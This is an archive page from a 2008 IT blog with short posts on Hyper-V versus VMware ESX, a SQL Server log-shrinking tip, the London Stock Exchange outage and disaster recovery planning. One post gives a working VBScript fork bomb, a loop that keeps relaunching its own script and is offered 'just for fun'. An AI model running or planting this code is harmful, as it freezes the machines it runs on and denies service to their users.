Huh? VMware’s ESX KO’s a roughly built Hyper-V package

Archive for September, 2008

Huh? VMware’s ESX KO’s a roughly built Hyper-V package

Posted by Wolf Goerlich

VMware’s ESX KO’s a roughly built Hyper-V package

“When the dust settled in the lab after two long months of testing Microsoft’s Hyper-V and VMware’s ESX in the areas of performance, compatibility, management, and security, it all boiled down to two issues: experience and religion.”

I spent quite a bit of time with both VMware and Hyper-V. I agree with some of what is in this article. VMWare is a more mature product and hence its vm management tools are more robust. VMWare also supports a wider array of non-Windows OS vms. All true. Yet all of what I am virtualizing at this point is Windows, and all of the management I need can be done thru the Hyper-V UI. Hence the question comes down, in my mind, to performance over dollars. In the bang for the buck factor, my bet is still on Hyper-V.

VBScript Fork Bomb

Posted by Wolf Goerlich

I have been playing around with VBScript. I thought I would make a quick fork bomb, just for fun. “The fork bomb, a form of denial-of-service attack against a computer system, implements the fork operation (or equivalent functionality) whereby a running process can create another running process.” (Wikipedia)

Do until true = false
 CreateObject("Wscript.Shell").Run Wscript.ScriptName
Loop

SQL Server Tip: Shrink Database

Posted by Wolf Goerlich

This tip works on SQL Server 2000 and SQL Server 2005. To shrink the db, use the logical name. You have to put it into simple recovery mode to get the disk space back. The command I have been running is:

Alter Database MYDBName Set Recovery SIMPLE

DBCC Shrinkfile (MYDBName_Log)

Alter Database MYDBName Set Recovery FULL

I should note that this is for emergency purposes only. It will impact performance by increasing fragmentation within the file and causing a write penalty later when the logs grow.

London Stock Exchange – When Good Systems Go Bad

Posted by Wolf Goerlich

“The London Stock Exchange suffered its worst systems failure in eight years on Monday, forcing the world’s third largest share market to suspend trading for about seven hours and infuriating its users. (…) Monday’s trading suspension was the longest suffered by the exchange since April 5, 2000, when problems with an older trading system led to an eight-hour suspension.”

London Stock Exchange crippled by system outage
http://www.reuters.com/article/ousiv/idUSL01084620080908

The Exchange uses LSE TradElect, a Microsoft .Net application that runs on Windows and SQL Server. What surprises me is that they did not elect to go into DR. From an earlier press release, the TradElect “platform has been designed to the highest levels of resilience with comprehensive back up, which includes dual processing at two sites and recovery from component failure within a second.”

Baseline Article on Business Continuity Planning

Posted by Wolf Goerlich

Baseline has an article on Best Practices in Disaster Recovery, Business Continuity Planning. “… disaster recovery priorities depend on the nature of the system. ‘We take snapshots ranging from every hour to every 15 minutes, depending on our systems,’ says Wolfgang Goerlich, network operations and security manager for the Birmingham, Mich.-based investment banking firm. ‘Our top-tier systems, such as trading, can have an issue if we lose even 15 minutes. Lower-tier systems, such as research, just generate reports once a day, so if they lose data for [a few] hours, it isn’t as big of an issue. With our lowest-tier systems, our DR plan is to go out and buy boxes and bring them up in a couple of weeks.'”

“The key thing for us was a very short recovery-time objective,’ says Goerlich. The firm uses Compellent’s virtual storage arrays, with the DR baked in. He says it takes just one click to activate DR and boot up the systems on a new box.”